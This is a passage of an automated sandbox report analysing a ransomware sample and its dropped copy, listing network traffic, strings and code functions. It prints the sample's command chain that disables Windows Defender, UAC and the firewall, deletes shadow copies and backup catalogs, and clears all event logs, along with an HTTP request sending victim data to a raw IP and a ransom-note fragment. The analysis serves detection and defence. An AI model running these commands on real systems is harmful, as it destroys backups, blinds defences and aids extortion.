dbul0m+XhplLXIZR4WqJtIlJePKYPbXT6uGR2IdF4dvSucHAsPIOu13gaXGdh9wKqd8gAXnvdcykvKfpwBcFAwyMcMcvkECgYEA46qc6wCFVGVaNy7v0L9gDQ4VrBCw5n2eamDiLtSuJhyPafAT1YCDxaATI0ZZg0mW29jHTHgcZiROGeVWTi6uU+W2MKz9nJqNTsbd4Hue2PrDHd75RH1Ss2IymGf3s5YkiunliqluQGVNEf5vdyoxkE/gl5qFmgJWHERBLC5/kqUCgYEAuf5MIkVoHUlozaxNhULsuZPBdQhfUhbxzo0a26SrX4EOugP2gOmZicAQia1e9WVnURVIo4jHGxO2CQ9ut2t2H0+3oE0+/m0j4kWCa1UlFa+FNcvBbLNVx8Vl1b1BS6IeFk6NCL/DezR5PaKG1BXd0566R4Ivdw9Pm1iIKuCvnL8CgYBdvrkVeK9e/I6PMXHObOtQq3JV6MFP2V9Y+rd8se1a/LOF+XGUJdvn9p5378qBWolplX89mt6EaU1V9QVrfKIii8N9dGhtqQ0CUeLj9qrR0Kqx8majuyINoOeoKs9oEKWinIuxkQ9HsT3aO5dPL33SAsXkEnM/al+xSUgDIjSHrQKBgCvDXTU9gejF+oq/IUyIN7Mx0yqYjuYjhDCZq/dyCjSW1kni0JbNjYnS1rb7nd9jJ15fXGK2xW/IZxEwzsG+7p30o60/Wh2/U7zFD6DIvW6Dpt97PJIMFC8BRSM7luSenarlTlxpWywMWMM1TOabu7lShi7xdJR8Ersj483ag6xpAoGAZZbkKl4IT57a39ufuPF/oBc67X2MUy5fylXrTUDKmv+alaBeE9pmg7f5lcj9AAvjWAHS9cbUPleNcYwObRqNk7HtB7Kcir66BBWU77zGKtwExRc8KzxPTN+0Z4xkgV0yPs+Ve3yR4mjh16P6hsQ5f68C3LFbAHa+l9l+9NrtoOY=&4O99N*7.999268(2)2,d5Evo.team1992@gmail.com HTTP/1.1Host: 185.147.34.53Connection: close
      Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
      Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
      Source: Joe Sandbox ViewIP Address: 185.147.34.53 185.147.34.53
      Source: Joe Sandbox ViewASN Name: HOSTSLIM-GLOBAL-NETWORKNL HOSTSLIM-GLOBAL-NETWORKNL
      Source: unknownDNS query: name: api.ipify.org
      Source: unknownDNS query: name: api.ipify.org
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownTCP traffic detected without corresponding DNS query: 185.147.34.53
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D6808 InternetReadFile,0_2_009D6808
      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: text/*User-Agent: YourUserAgentHost: api.ipify.org
      Source: global trafficHTTP traffic detected: GET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:42:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8aJ3dtuKW6z3I8gxYSEQT1JEP9SrTOl1Ixpoj2IkATObrN+oHobGi8392GNrHH0GxeJKM3Fse4Dx6VvGkJQWpGKgmfMWrB62mve4jaay+2I8L3YbeiDfX88Ssijr77yu3K0TojJKWxhf0PTDyJbrt0t6toUkhY7zguC6aUlDrzeRClYPnxEeJ/fKKwjia/RaJkddb8fw6BNNaLkMF6pl/HQaW99Wt4sXjMG0Ix2xh1/xQpi6Ab9yxGoqUEcIPMdPuRXEk88hL11BibuS3fQ9T9iae05FHGnKfx9mzcm3smOaWRamhb60M0tEOYvmme3PYTfmHlpB/37Ubbkhg3RcnkOOpX8ViXCwU+EG+IsPCD9vBtYS0uJQLvekv3X8IUDcoiEH4Ta6ZTvR6AFWVwhNsspEbmoPNFZfn+dM+ZZy9mmTDcUQ2tAe5Cvfi1lz9REY2Our0OEJuqao2IgCNhYl4+1k7UIpn2/9bhwS9J2pc/e73fwR0H3XcIeBQs6Bv/KEx2J7x23VvlzrFSiANycS2ZBXvfRfyYyA1qwQVQq7YdDGpZMnU8Jed4cNpJ2D79gUOV+dhB3Q1wtQyqh6/392zr+SqpsUrOQNVfUbAgERAoIBADphGU/+LkDtaTWPtPxG2cw67iqhrcNvujEtQA+aCvoVPJpJSsBSTMfuH0VVLGyuF2KQO2lNtZY1WyfzCmmaRC+CFeBSZsAPXqVzGVvq8rey48a4jBHaKazreXkH9csNw/iLuwFvYeobD1+MdlWwyMYc+PkYR9V0jObdT8Dde+GpBT7kbGW5vrVWSFXRy+DmRf+TXQ2FKTl1UqmGruPUcu9YmStvbXMuEySjgIIMXpNV9TTms8iY96MT0dbul0m+XhplLXIZR4WqJtIlJePKYPbXT6uGR2IdF4dvSucHAsPIOu13gaXGdh9wKqd8gAXnvdcykvKfpwBcFAwyMcMcvkECgYEA46qc6wCFVGVaNy7v0L9gDQ4VrBCw5n2eamDiLtSuJhyPafAT1YCDxaATI0ZZg0mW29jHTHgcZiROGeVWTi6uU+W2MKz9nJqNTsbd4Hue2PrDHd75RH1Ss2IymGf3s5YkiunliqluQGVNEf5vdyoxkE/gl5qFmgJWHERBLC5/kqUCgYEAuf5MIkVoHUlozaxNhULsuZPBdQhfUhbxzo0a26SrX4EOugP2gOmZicAQia1e9WVnURVIo4jHGxO2CQ9ut2t2H0+3oE0+/m0j4kWCa1UlFa+FNcvBbLNVx8Vl1b1BS6IeFk6NCL/DezR5PaKG1BXd0566R4Ivdw9Pm1iIKuCvnL8CgYBdvrkVeK9e/I6PMXHObOtQq3JV6MFP2V9Y+rd8se1a/LOF+XGUJdvn9p5378qBWolplX89mt6EaU1V9QVrfKIii8N9dGhtqQ0CUeLj9qrR0Kqx8majuyINoOeoKs9oEKWinIuxkQ9HsT3aO5dPL33SAsXkEnM/al+xSUgDIjSHrQKBgCvDXTU9gejF+oq/IUyIN7Mx0yqYjuYjhDCZq/dyCjSW1kni0JbNjYnS1rb7nd9jJ15fXGK2xW/IZxEwzsG+7p30o60/Wh2/U7zFD6DIvW6Dpt97PJIMFC8BRSM7luSenarlTlxpWywMWMM1TOabu7lShi7xdJR8Ersj483ag6xpAoGAZZbkKl4IT57a39ufuPF/oBc67X2MUy5fylXrTUDKmv+alaBeE9pmg7f5lcj9AAvjWAHS9cbUPleNcYwObRqNk7HtB7Kcir66BBWU77zGKtwExRc8KzxPTN+0Z4xkgV0yPs+Ve3yR4mjh16P6hsQ5f68C3LFbAHa+l9l+9NrtoOY=&4O99N*7.999268(2)2,d5Evo.team1992@gmail.com HTTP/1.1Host: 185.147.34.53Connection: close
      Source: global trafficDNS traffic detected: DNS query: api.ipify.org
      Source: lEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.0000000001404000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org
      Source: lEUy79aLAW.exe, 00000000.00000002.3317320966.000000000141C000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.0000000001404000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317218590.00000000012F9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/
      Source: lEUy79aLAW.exe, 00000000.00000002.3317320966.00000000013AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.orgfD
      Source: lEUy79aLAW.exe, Xinfecter.exe.0.drString found in binary or memory: https://www.coinbase.com/how-to-buy/bitcoin
      Source: lEUy79aLAW.exe, Xinfecter.exe.0.drString found in binary or memory: https://www.kraken.com/learn/buy-bitcoin-btc

      Spam, unwanted Advertisements and Ransom Demands

      barindex
      Yara detected TrojanRansom
      Source: Yara matchFile source: Process Memory Space: lEUy79aLAW.exe PID: 3332, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: Xinfecter.exe PID: 7452, type: MEMORYSTR
      Contains functionality to clear event logs
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_009E4049
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_009EC170
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"0_2_009ED08F
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"42_2_00BF4049
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"42_2_00BFBD00
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"42_2_00BFD08F
      Deletes shadow drive data (may be related to ransomware)
      Source: lEUy79aLAW.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic
      Source: lEUy79aLAW.exe, 00000000.00000003.2088766703.00000000013DB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: lEUy79aLAW.exe, 00000000.00000003.2088766703.00000000013DB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 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" alt="Paris"></div></br><div class="fnt">Your Files Has Been <span class="xsw">Stolen</span> And <span class="xsw">Encrypted!</span></div></hr></br></br></br><div class="vl"><div class="Mrgnlf">All Your Files Are Locked And Important Data Downloaded !</br></br>Your Files Are No Longer Accessible Don't Waste Your Time, Without Our Decryption Program Nobody Can't Help You .</br></br>If Payment Isn't Made After A While We Will Sell OR Publish Some Of Your Data, You Don't Have Much Time!</br></br>Your ID : <span class="spnn"><html><head><title>reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.ex
      Source: lEUy79aLAW.exe, 00000000.00000003.2088766703.00000000013DB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: lEUy79aLAW.exe, 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: lEUy79aLAW.exe, 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: lEUy79aLAW.exe, 00000000.00000000.2070437757.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: lEUy79aLAW.exe, 00000000.00000000.2070437757.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic
      Source: Xinfecter.exe, 0000002A.00000000.2194363622.0000000000CB3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe, 0000002A.00000000.2194363622.0000000000CB3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exe, 0000002A.00000002.2196478635.0000000000CB3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe, 0000002A.00000002.2196478635.0000000000CB3000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: lEUy79aLAW.exeBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: lEUy79aLAW.exeBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: S-6748.bat.0.drBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
      Source: Xinfecter.exe.0.drBinary or memory string: reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
      Source: Xinfecter.exe.0.drBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet

      System Summary

      barindex
      Windows Scripting host queries suspicious COM object (likely to drop second stage)
      Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
      Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
      Writes or reads registry keys via WMI
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A4C860: CreateFileW,DeviceIoControl,CloseHandle,0_2_00A4C860
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009E40490_2_009E4049
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009EC1700_2_009EC170
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D46700_2_009D4670
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C92A00_2_009C92A0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A000800_2_00A00080
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A281A00_2_00A281A0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A341100_2_00A34110
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A262EB0_2_00A262EB
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A0A2C00_2_00A0A2C0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A542D40_2_00A542D4
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D02390_2_009D0239
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D82400_2_009D8240
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D83800_2_009D8380
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A123C00_2_00A123C0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A284400_2_00A28440
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2C7C50_2_00A2C7C5
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A267460_2_00A26746
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A348D00_2_00A348D0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DE8300_2_009DE830
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A7E90D0_2_00A7E90D
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C8A800_2_009C8A80
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D6AF70_2_009D6AF7
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A56A580_2_00A56A58
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A90B040_2_00A90B04
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A34B700_2_00A34B70
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A08E900_2_00A08E90
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A00E000_2_00A00E00
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A58E4A0_2_00A58E4A
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24FA70_2_00A24FA7
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A24FB40_2_00A24FB4
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A68FE00_2_00A68FE0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2CF3F0_2_00A2CF3F
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DAF500_2_009DAF50
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A112A00_2_00A112A0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2D2C60_2_00A2D2C6
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A692520_2_00A69252
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2533B0_2_00A2533B
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A033000_2_00A03300
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C53300_2_009C5330
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A054000_2_00A05400
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A7B47B0_2_00A7B47B
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A735A30_2_00A735A3
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A4F5F00_2_00A4F5F0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A695C40_2_00A695C4
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DF5700_2_009DF570
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2D5570_2_00A2D557
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A016300_2_00A01630
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A737D20_2_00A737D2
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A6B8170_2_00A6B817
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A338600_2_00A33860
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A6986E0_2_00A6986E
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A898790_2_00A89879
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A2D9900_2_00A2D990
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A399080_2_00A39908
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D9ABA0_2_009D9ABA
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009CDAB00_2_009CDAB0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A53AE50_2_00A53AE5
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D5AC00_2_009D5AC0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DDAF00_2_009DDAF0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009CBA600_2_009CBA60
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A69B350_2_00A69B35
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A81B710_2_00A81B71
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A25C840_2_00A25C84
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A79CD00_2_00A79CD0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A33C700_2_00A33C70
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A69DF00_2_00A69DF0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A25EA80_2_00A25EA8
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A03E800_2_00A03E80
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A27FA00_2_00A27FA0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BF404942_2_00BF4049
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE467042_2_00BE4670
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BFBD0042_2_00BFBD00
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1008042_2_00C10080
